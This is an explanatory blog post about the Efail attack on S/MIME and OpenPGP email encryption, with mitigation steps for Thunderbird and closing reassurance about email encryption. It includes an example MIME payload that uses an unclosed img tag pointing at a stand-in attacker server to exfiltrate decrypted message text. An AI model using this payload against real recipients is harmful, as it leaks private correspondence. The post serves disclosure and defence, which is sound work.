Efail - Encryption is Still Alive

German and Dutch security researchers warned yesterday about a new vulnerability called Efail. It allegedly breaks the encryption technologies S/MIME and OpenPGP used for emails. Such methods, which enable end-to-end encryption, are particularly important for journalists, activists, or whistleblowers. In addition to the confidentiality and authenticity of the message, its integrity must also be protected. And this is exactly where the security researchers start.

The Efail Attack

Efail describes two attack paths with which information can be extracted from emails: direct extraction and extraction via a CBC/CFB gadget attack. In both cases, an attacker must be able to manipulate an encrypted message before it is opened by the recipient, who possesses the private key for decryption. The attacker tries to embed an external object, such as an image, at the beginning of the email message.

Example of embedding an image from a foreign server

<img src="https://evilpage.de/bild.jpg">

Such objects call an address and download data from a remote server. In the attack, however, the closing quotation mark of the address is only set after the end of the encrypted part of the message, so that the encrypted part of the message stands within the address of the external image.

Example of direct extraction of information

--BOUNDARY
Content-Type: text/html>

<img src="https://evilpage.de/bild.jpg
--BOUNDARY
Content-Transfer-Encoding: 7bit
Content-Type: application/pgp-encrypted>

PDYrCxjq78SXY8WBQ95oBBwC0KTTYmSCxHKJiLFOI89fPL6bncIpO…

--BOUNDARY
Content-Type: text/html
">

<img src="https://evilpage.de/bild.jpg
Secret Information
">

If the email recipient opens the message, the encrypted part is first decrypted. This now stands completely decrypted in the address part of the image, which is then loaded. This would mean that the address is called with the entire secret message content and thus sent to the attacker's server.

Protection Options

1. Those who do not reload external content also do not transfer any data to foreign servers. This setting should already be activated anyway to protect your own privacy from opening tracking. However, with this setting, the content of the message is not displayed correctly or only incompletely. In Thunderbird, the reloading of external content can be forbidden via Settings - Privacy - Allow external content in messages.
2. The researchers also found some vulnerabilities in email clients that allow an extraction of information to an attacker despite the blocking of reloading external content. Therefore, HTML rendering should also be deactivated until the manufacturers of email clients have developed a solution. In Thunderbird, this setting is made via View - Message Body - Plain Text.
3. To make the manipulation of the message on the transport path more difficult, care should be taken to use a TLS communication encryption during transmission. IT security officers and administrators should place particular value on this when operating the email infrastructure.

Conclusion

The announcement of Efail was almost cinematic. Some suspected a serious error in the OpenPGP or S/MIME process from the first tweet, which would make remote code executions on the recipients' computers possible or shake the fundamental pillars of encryption. Fortunately, it has been shown that Efail is indeed a serious attempt to gain access to encrypted data. On the other hand, Efail represents a complex attack, and there may be simpler ways to obtain sensitive information.

Furthermore, the impression is created that email encryption is insecure. Those who have not encrypted their sensitive messages so far are anyway threatened by completely different dangers. Encrypted email communication can be used securely within the framework of a typical threat model and should find more use in companies and government agencies. Those who need support in the setup can find qualified help from our experts .